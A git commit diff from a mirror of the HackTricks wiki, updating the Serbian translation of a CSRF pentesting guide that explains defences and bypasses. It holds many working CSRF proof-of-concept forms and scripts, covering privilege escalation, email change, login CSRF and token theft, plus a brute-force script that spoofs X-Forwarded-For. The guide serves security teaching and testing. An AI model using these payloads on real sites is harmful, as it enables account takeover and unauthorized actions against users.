maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md']

Browse Source
This commit is contained in:
Translator 2025-09-29 22:41:49 +00:00
parent cea17c5fb8
commit 217861049a
2 changed files with 163 additions and 73 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -487,6 +487,7 @@
- [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md)
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)

235
src/pentesting-web/csrf-cross-site-request-forgery.md
View File

@ -2,55 +2,62 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Objašnjeno ## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** je vrsta sigurnosne ranjivosti u web aplikacijama. Omogućava napadačima da izvode radnje u ime ničega sumnjajućih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik koji je prijavljen na žrtvinu platformu poseti zlonamerni sajt. Taj sajt potom pokreće zahteve prema nalogu žrtve kroz metode kao što su izvršavanje JavaScript-a, slanje formi ili učitavanje slika. **Cross-Site Request Forgery (CSRF)** je tip sigurnosne ranjivosti u web aplikacijama. Omogućava napadačima da izvedu radnje u ime ničim neosumnjičenih korisnika iskorištavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik koji je ulogovan na ciljanu platformu poseti maliciozni sajt. Taj sajt potom pokreće zahteve ka nalogu žrtve preko izvođenja JavaScript-a, slanja formi ili učitavanja slika.
### Preduslovi za CSRF napad ### Preduslovi za CSRF napad
Da bi se iskoristila CSRF ranjivost, mora biti ispunjeno nekoliko uslova: Da bi se iskoristila CSRF ranjivost, nekoliko uslova mora biti ispunjeno:
1. **Identifikovati vrednu radnju**: Napadač treba da pronađe radnju vrednu iskorišćavanja, kao što su promena korisnikove lozinke, email-a ili podizanje privilegija. 1. **Identify a Valuable Action**: Napadač mora pronaći radnju vrednu iskorišćavanja, kao što su promena lozinke, email-a ili elevacija privilegija.
2. **Upravljanje sesijom**: Sesija korisnika treba da se upravlja isključivo putem kolačića ili HTTP Basic Authentication header-a, jer druge header-e nije moguće manipulirati za ovu svrhu. 2. **Session Management**: Sesija korisnika treba da se upravlja isključivo putem cookies ili HTTP Basic Authentication header-a, jer se ostali header-i ne mogu manipulirati u ovu svrhu.
3. **Odsustvo nepredvidivih parametara**: Zahtev ne bi trebalo da sadrži nepredvidive parametre, jer oni mogu sprečiti napad. 3. **Absence of Unpredictable Parameters**: Zahtev ne bi trebalo da sadrži nepredvidive parametre, jer oni mogu sprečiti napad.
### Brza provera ### Brza provera
Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testirali iz pregledača možete kliknuti na **Copy as fetch** i proveriti zahtev: Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a za testiranje iz browser-a možete kliknuti na **Copy as fetch** i proveriti zahtev:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Odbrana protiv CSRF ### Odbrana protiv CSRF
Nekoliko protmera može biti implementirano da bi se zaštitilo od CSRF napada: Nekoliko protimera može biti implementirano da zaštiti od CSRF napada:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ovaj atribut sprečava browser da šalje kolačiće zajedno sa cross-site zahtevima. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ovaj atribut sprečava browser da šalje cookies zajedno sa cross-site zahtevima. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): CORS politika žrtvinog sajta može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa žrtvinog sajta. [Learn about CORS bypass](cors-bypass.md). - [**Cross-origin resource sharing**](cors-bypass.md): CORS politika ciljane lokacije može uticati na izvodljivost napada, naročito ako napad zahteva čitanje odgovora sa ciljane lokacije. [Learn about CORS bypass](cors-bypass.md).
- **Verifikacija korisnika**: Traženje korisničke lozinke ili rešavanje captcha-e može potvrditi nameru korisnika. - **User Verification**: Traženje korisnikove lozinke ili rešavanje captche može potvrditi korisnikovu nameru.
- **Provera Referrer ili Origin header-a**: Validacija ovih header-a može pomoći da se osigura da zahtevi dolaze iz poverljivih izvora. Međutim, pažljivo skrojeni URL-ovi mogu zaobići loše implementirane provere, kao što su: - **Checking Referrer or Origin Headers**: Validacija ovih header-a može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Ipak, pažljivo konstruisani URL-ovi mogu zaobići slabo implementirane provere, na primer:
- Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa poverljivim URL-om) - Korišćenjem `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om)
- Korišćenje `http://example.com.mal.net` (URL počinje sa poverljivim URL-om) - Korišćenjem `http://example.com.mal.net` (URL počinje sa pouzdanim URL-om)
- **Izmena imena parametara**: Promena imena parametara u POST ili GET zahtevima može pomoći u prevenciji automatizovanih napada. - **Modifying Parameter Names**: Menjanje imena parametara u POST ili GET zahtevima može otežati automatizovane napade.
- **CSRF Tokens**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtevanje tog tokena u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena se može poboljšati primenom CORS-a. - **CSRF Tokens**: Ugrađivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za tim tokenom u narednim zahtevima može značajno umanjiti rizik od CSRF. Efikasnost tokena se može poboljšati primenom CORS-a.
Razumevanje i primena ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija. Razumevanje i implementacija ovih odbrana je ključno za održavanje sigurnosti i integriteta web aplikacija.
#### Česti propusti u odbranama
- SameSite pitfalls: `SameSite=Lax` i dalje dozvoljava top-level cross-site navigacije kao što su linkovi i form GET-ovi, tako da mnogi GET-bazirani CSRF napadi ostaju mogući. Pogledajte cookie matrix u [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header checks: Validirajte `Origin` kada je prisutan; ako su oba `Origin` i `Referer` odsutni, odbijte zahtev. Ne oslanjajte se na substring/regex poklapanja `Referer` koja se mogu zaobići lookalike domenima ili konstruisanim URL-ovima, i imajte na umu trik sa `meta name="referrer" content="never"` koji utiče na potiskivanje.
- Method overrides: Tretirajte overridovane metode (`_method` ili override header-e) kao one koje menjaju stanje i primenjujte CSRF zaštitu na efektivnu metodu, ne samo na POST.
- Login flows: Primijenite CSRF zaštite i na login; u suprotnom, login CSRF omogućava prisilnu ponovnu autentifikaciju u naloge pod kontrolom napadača, što se može povezati sa stored XSS.
## Defences Bypass ## Defences Bypass
### From POST to GET (method-conditioned CSRF validation bypass) ### From POST to GET (method-conditioned CSRF validation bypass)
Neke aplikacije primenjuju CSRF validaciju samo na POST dok je preskaču za druge HTTP metode. Uobičajen anti-pattern u PHP-u izgleda ovako: Neke aplikacije primenjuju CSRF validaciju samo na POST dok je preskaču za druge metode. Uobičajen anti-pattern u PHP-u izgleda ovako:
```php ```php
public function csrf_check($fatal = true) { public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ... // ... validate __csrf_token here ...
} }
``` ```
Ako ranjiv endpoint takođe prihvata parametre iz $_REQUEST, možete ponovo poslati istu akciju kao GET zahtev i potpuno izostaviti CSRF token. Ovo pretvara POST-only akciju u GET akciju koja uspeva bez tokena. Ako ranjivi endpoint takođe prihvata parametre iz $_REQUEST, možete ponovo izvršiti istu akciju kao GET zahtev i potpuno izostaviti CSRF token. Ovo pretvara POST-only akciju u GET akciju koja uspeva bez tokena.
Primer: Primer:
- Original POST with token (intended): - Originalni POST sa tokenom (namerno):
```http ```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
@ -59,56 +66,96 @@ Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}] __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
``` ```
- Bypass by switching to GET (no token): - Zaobilaženje promenom u GET (bez tokena):
```http ```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1 GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
``` ```
Notes: Napomene:
- Ovaj obrazac se često pojavljuje zajedno sa reflected XSS kada se odgovori pogrešno šalju kao text/html umesto application/json. - Ovaj obrazac se često pojavljuje zajedno sa reflected XSS gde se odgovori pogrešno služe kao text/html umesto application/json.
- Povezivanje ovoga sa XSS značajno snižava prepreke za iskorišćavanje jer možete isporučiti jedan GET link koji i pokreće ranjivi kod i potpuno zaobilazi CSRF provere. - Kombinovanje ovoga sa XSS značajno snižava prepreke za eksploataciju jer možete dostaviti jedan GET link koji istovremeno pokreće ranjivi kod i potpuno zaobilazi CSRF provere.
### Lack of token ### Nedostatak tokena
Aplikacije mogu implementirati mehanizam za **validate tokens** kada su oni prisutni. Međutim, postoji ranjivost ako se validacija potpuno preskoči kada token nedostaje. Napadači mogu iskoristiti ovo uklanjanjem parametra koji nosi token, ne samo njegove vrednosti. To im omogućava da izbegnu proces validacije i efikasno sprovedu Cross-Site Request Forgery (CSRF) napad. Aplikacije mogu implementirati mehanizam da **validiraju tokene** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nedostaje. Napadači to mogu iskoristiti **uklanjanjem parametra** koji nosi token, a ne samo njegove vrednosti. To im omogućava da zaobiđu proces validacije i efikasno izvedu Cross-Site Request Forgery (CSRF) napad.
### CSRF token is not tied to the user session Štaviše, neke implementacije samo provere da parametar postoji, ali ne proveravaju njegov sadržaj, pa se prihvata **prazna vrednost tokena**. U tom slučaju je dovoljno jednostavno poslati zahtev sa `csrf=`:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Aplikacije koje **not tying CSRF tokens to user sessions** predstavljaju značajan **security risk**. Ti sistemi verifikuju tokene prema **global pool** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju. username=guest&role=admin&csrf=
```
Minimalni PoC za automatsko slanje (sakrivanje navigacije pomoću history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token nije vezan za korisničku sesiju
Evo kako napadači to iskorišćavaju: Aplikacije koje **ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **bezbednosni rizik**. Takvi sistemi proveravaju tokene u **globalnoj kolekciji** umesto da obezbede da je svaki token vezan za sesiju koja ga je inicirala.
1. **Authenticate** koristeći svoj nalog. Evo kako napadači zloupotrebljavaju ovo:
2. **Obtain a valid CSRF token** iz global pool-a.
3. **Use this token** u CSRF napadu protiv žrtve.
Ova ranjivost omogućava napadačima da izvrše neautorizovane zahteve u ime žrtve, iskorišćavajući **inadequate token validation mechanism** aplikacije. 1. **Autentifikuju se** koristeći sopstveni nalog.
2. **Nabave važeći CSRF token** iz globalne kolekcije.
3. **Iskoriste ovaj token** u CSRF napadu protiv žrtve.
### Method bypass Ova ranjivost omogućava napadačima da šalju neautorizovane zahteve u ime žrtve, iskorišćavajući neadekvatan mehanizam validacije tokena u aplikaciji.
Ako zahtev koristi "**weird**" **method**, proverite da li **method** **override functionality** radi. Na primer, ako koristi **using a PUT** method možete pokušati da **use a POST** method i **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ ### Zaobilaženje metode
Ovo takođe može raditi slanjem **\_method parameter inside the a POST request** ili korišćenjem **headers**: Ako zahtev koristi "čudnu" metodu, proverite da li funkcionalnost method override radi. Na primer, ako koristi **PUT/DELETE/PATCH** metodu možete pokušati da upotrebite **POST** i pošaljete override, npr. `https://example.com/my/dear/api/val/num?_method=PUT`.
- _X-HTTP-Method_ Ovo može funkcionisati i slanjem `_method` parametra u POST telu ili korišćenjem override header-a:
- _X-HTTP-Method-Override_
- _X-Method-Override_
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Uobičajeno u framework-ovima kao što su **Laravel**, **Symfony**, **Express** i drugi. Programeri ponekad preskaču CSRF na ne-POST verbima pretpostavljajući da browser-i ne mogu da ih pošalju; sa override-ima i dalje možete doći do tih handler-a preko POST-a.
Primer zahteva i HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass ### Custom header token bypass
Ako zahtev dodaje **custom header** sa **token**-om u zahtev kao **CSRF protection method**, onda: Ako zahtev dodaje **custom header** sa **token** u zahtev kao **CSRF protection method**, onda:
- Testirajte zahtev bez **Customized Token and also header.** - Testirajte zahtev bez **Customized Token and also header.**
- Testirajte zahtev sa tačno istom **same length but different token**. - Testirajte zahtev sa tačno **same length but different token**.
### CSRF token is verified by a cookie ### CSRF token is verified by a cookie
Aplikacije mogu implementirati CSRF zaštitu dupliranjem tokena i u cookie i u parametru zahteva ili postavljanjem CSRF cookie-a i proverom da li token poslat u backend-u odgovara cookie-u. Aplikacija validira zahteve proverom da li token u parametru zahteva usklađuje sa vrednošću u cookie-u. Aplikacije mogu implementirati CSRF protection dupliciranjem token-a i u cookie i u request parameter ili postavljanjem CSRF cookie i proverom da li token poslat u backend odgovara cookie-u. Aplikacija validira request-e proverom da li token u request parameter-u odgovara vrednosti u cookie-u.
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima mane koje napadaču omogućavaju da postavi CSRF cookie u browser žrtve, kao što je CRLF ranjivost. Napadač može to iskoristiti tako što učita obmanjujuću sliku koja postavlja cookie, a zatim pokrene CSRF napad. Međutim, ova metoda je ranjiva na CSRF attacks ako web sajt ima propuste koji napadaču omogućavaju da postavi CSRF cookie u browser žrtve, na primer CRLF vulnerability. Napadač to može iskoristiti tako što učita obmanjujuću image koja postavlja cookie, a zatim pokrene CSRF attack.
Ispod je primer kako bi napad mogao biti strukturiran: Below is an example of how an attack could be structured:
```html ```html
<html> <html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional --> <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
@ -131,17 +178,17 @@ onerror="document.forms[0].submit();" />
</html> </html>
``` ```
> [!TIP] > [!TIP]
> Imajte na umu da ako je **csrf token povezan sa session cookie-jem ovaj napad neće raditi** jer ćete morati postaviti žrtvin session na svoj, i samim tim ćete napadati sami sebe. > Imajte na umu da ako je **csrf token povezan sa session cookie ovaj napad neće raditi** jer ćete morati da postavite žrtvi svoju sesiju, i stoga ćete napadati sebe.
### Promena Content-Type ### Content-Type change
Prema [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), da biste **izbegli preflight** zahteve koristeći **POST** metod, dozvoljene vrednosti Content-Type su: Prema [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), da biste **izbegli preflight** zahteve koristeći **POST** metodu, sledeće su dozvoljene vrednosti Content-Type:
- **`application/x-www-form-urlencoded`** - **`application/x-www-form-urlencoded`**
- **`multipart/form-data`** - **`multipart/form-data`**
- **`text/plain`** - **`text/plain`**
Međutim, imajte na umu da logika servera može varirati u zavisnosti od korišćenog **Content-Type**, pa treba da probate pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type** pa bi trebalo da probate navedene vrednosti i druge kao **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Primer (iz [here](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain: Primer (iz [here](https://brycec.me/posts/corctf_2021_challenges)) slanja JSON podataka kao text/plain:
```html ```html
@ -162,32 +209,32 @@ form.submit()
</body> </body>
</html> </html>
``` ```
### Zaobilaženje preflight zahteva za JSON podatke ### Bypassing Preflight Requests for JSON Data
Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, korišćenje `XMLHttpRequest` za slanje ovog Content-Type pokreće preflight request. Ipak, postoje strategije kojima se može pokušati zaobići ovo ograničenje i proveriti da li server obrađuje JSON podatke bez obzira na Content-Type: Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Content-Type: application/json` u HTML formi nije direktno moguće. Slično tome, upotreba `XMLHttpRequest` za slanje ovog Content-Type pokreće preflight request. Ipak, postoje strategije kojima se ovaj limit može potencijalno zaobići i proveriti da li server obrađuje JSON podatke nezavisno od Content-Type:
1. **Koristite alternativne Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type. 1. **Use Alternative Content Types**: Koristite `Content-Type: text/plain` ili `Content-Type: application/x-www-form-urlencoded` tako što ćete postaviti `enctype="text/plain"` u formi. Ovaj pristup testira da li backend koristi podatke bez obzira na Content-Type.
2. **Izmenite Content-Type**: Da biste izbegli preflight request a pritom osigurali da server prepozna sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo neće pokrenuti preflight request, ali server može ispravno obraditi podatke ako je konfigurisан da prihvata `application/json`. 2. **Modify Content Type**: Da biste izbegli preflight request, a ipak osigurali da server prepozna sadržaj kao JSON, možete poslati podatke sa `Content-Type: text/plain; application/json`. Ovo ne pokreće preflight request, ali može biti pravilno obrađeno od strane servera ako je podešen da prihvata `application/json`.
3. **Korišćenje SWF Flash fajla**: A manje uobičajena ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljnije razumevanje ove tehnike, referišite se na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). 3. **SWF Flash File Utilization**: Manje uobičajena, ali izvodljiva metoda uključuje korišćenje SWF flash fajla za zaobilaženje takvih ograničenja. Za detaljnije objašnjenje ove tehnike, pogledajte [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Zaobilaženje provere Referrer / Origin ### Referrer / Origin check bypass
**Izbegnite Referrer header** **Avoid Referrer header**
Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used: Aplikacije mogu validirati 'Referer' header samo kada je on prisutan. Da biste sprečili da browser šalje ovaj header, može se koristiti sledeći HTML meta tag:
```xml ```xml
<meta name="referrer" content="never"> <meta name="referrer" content="never">
``` ```
Ovo osigurava da se 'Referer' zaglavlje izostavi, potencijalno zaobilazeći validacione provere u nekim aplikacijama. Ovo osigurava da se 'Referer' header izostavi, što može zaobići validacione provere u nekim aplikacijama.
**Regexp bypasses** **Regexp zaobilaženja**
{{#ref}} {{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}} {{#endref}}
Da biste postavili ime domena servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi: Da biste postavili naziv domene servera u URL-u koji će Referrer poslati unutar parametara, možete uraditi sledeće:
```html ```html
<html> <html>
<!-- Referrer policy needed to send the qury parameter in the referrer --> <!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -218,17 +265,52 @@ document.forms[0].submit()
``` ```
### **HEAD method bypass** ### **HEAD method bypass**
U prvom delu [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) objašnjeno je da je u [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) router podešen da **handle HEAD requests as GET requests** with no response body — česta zaobilaznica koja nije jedinstvena za Oak. Umesto posebnog handler-a koji obrađuje HEAD zahteve, oni su jednostavno **given to the GET handler but the app just removes the response body**. The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
Dakle, ako je GET zahtev ograničen, možete jednostavno **send a HEAD request that will be processed as a GET request**. Dakle, ako je GET zahtev ograničen, možete jednostavno **poslati HEAD zahtev koji će biti procesiran kao GET zahtev**.
## **Exploit Examples** ## **Exploit Examples**
### **Exfiltrating CSRF Token** ### Stored CSRF via user-generated HTML
Ako se **CSRF token** koristi kao **odbrana**, možete pokušati da ga **exfiltrate it** zloupotrebom [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ranjivosti ili [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ranjivosti. When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
### **GET korišćenjem HTML tagova** - If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
Minimalan primer koji menja email posmatrača kada se učita:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF u lancu sa stored XSS
Login CSRF sam po sebi može imati mali uticaj, ali u lancu sa autentifikovanim stored XSS postaje snažan: primorajte žrtvu da se prijavi u nalog pod kontrolom napadača; kada je u tom kontekstu, stored XSS na autentifikovanoj stranici se izvršava i može ukrasti tokene, oteti sesiju ili eskalirati privilegije.
- Proverite da login endpoint dozvoljava CSRF (nema per-session token-a ili provere Origin zaglavlja) i da nijedno korisničko interaktivno ograničenje ne blokira zahtev.
- Posle prisilne prijave, automatski navigirajte na stranicu koja sadrži stored XSS payload napadača.
Minimalni login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Eksfiltracija CSRF Token**
Ako se koristi **CSRF token** kao **odbrana**, možete pokušati da ga **eksfiltrirate** zloupotrebljavajući ranjivost [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ili ranjivost [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET koristeći HTML tagove**
```xml ```xml
<img src="http://google.es?param=VALUE" style="display:none" /> <img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1> <h1>404 - Page not found</h1>
@ -263,7 +345,7 @@ background: url("...");
</video> </video>
</audio> </audio>
``` ```
### Forma GET zahteva ### GET zahtev iz forme
```html ```html
<html> <html>
<!-- CSRF PoC - generated by Burp Suite Professional --> <!-- CSRF PoC - generated by Burp Suite Professional -->
@ -281,7 +363,7 @@ document.forms[0].submit()
</body> </body>
</html> </html>
``` ```
### Form POST zahtev ### POST zahtev iz forme
```html ```html
<html> <html>
<body> <body>
@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit
</body> </body>
</html> </html>
``` ```
### POST zahtev forme kroz iframe ### POST zahtev iz formulara preko iframe-a
```html ```html
<!-- <!--
The request is sent through the iframe withuot reloading the page The request is sent through the iframe withuot reloading the page
@ -332,7 +414,7 @@ document.forms[0].submit()
</body> </body>
</html> </html>
``` ```
### **Ajax POST request** ### **Ajax POST zahtev**
```html ```html
<script> <script>
var xh var xh
@ -402,7 +484,7 @@ body += "--" + boundary + "--"
//xhr.send(body); //xhr.send(body);
xhr.sendAsBinary(body) xhr.sendAsBinary(body)
``` ```
### POST zahtev iz forme unutar iframe-a ### Form POST request iz iframe-a
```html ```html
<--! expl.html --> <--! expl.html -->
@ -426,7 +508,7 @@ document.getElementById("formulario").submit()
</body> </body>
</body> </body>
``` ```
### **Ukradi CSRF Token i pošalji POST request** ### **Ukradi CSRF Token i pošalji POST zahtev**
```javascript ```javascript
function submitFormWithTokenJS(token) { function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest() var xhr = new XMLHttpRequest()
@ -501,7 +583,7 @@ style="display:none"
src="http://google.com?param=VALUE" src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe> onload="javascript:f1();"></iframe>
``` ```
### **Ukradi CSRF Token i pošalji POST request koristeći iframe i form** ### **Ukrasti CSRF Token i poslati POST request koristeći iframe i form**
```html ```html
<iframe <iframe
id="iframe" id="iframe"
@ -564,7 +646,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button> <button type="submit">Submit</button>
</form> </form>
``` ```
### **POST — Ukradi CSRF token koristeći Ajax i pošalji POST pomoću forme** ### **POSTSteal CSRF token koristeći Ajax i pošalji post koristeći formu**
```html ```html
<body onload="getData()"> <body onload="getData()">
<form <form
@ -617,7 +699,7 @@ room: username,
``` ```
## CSRF Login Brute Force ## CSRF Login Brute Force
Ovaj kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For kako bi pokušao da zaobiđe mogući IP blacklisting): Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša zaobići moguću IP blacklisting):
```python ```python
import request import request
import re import re
@ -665,6 +747,7 @@ login(USER, line.strip())
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
## Reference ## Reference
@ -673,5 +756,11 @@ login(USER, line.strip())
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses) - [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html) - [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}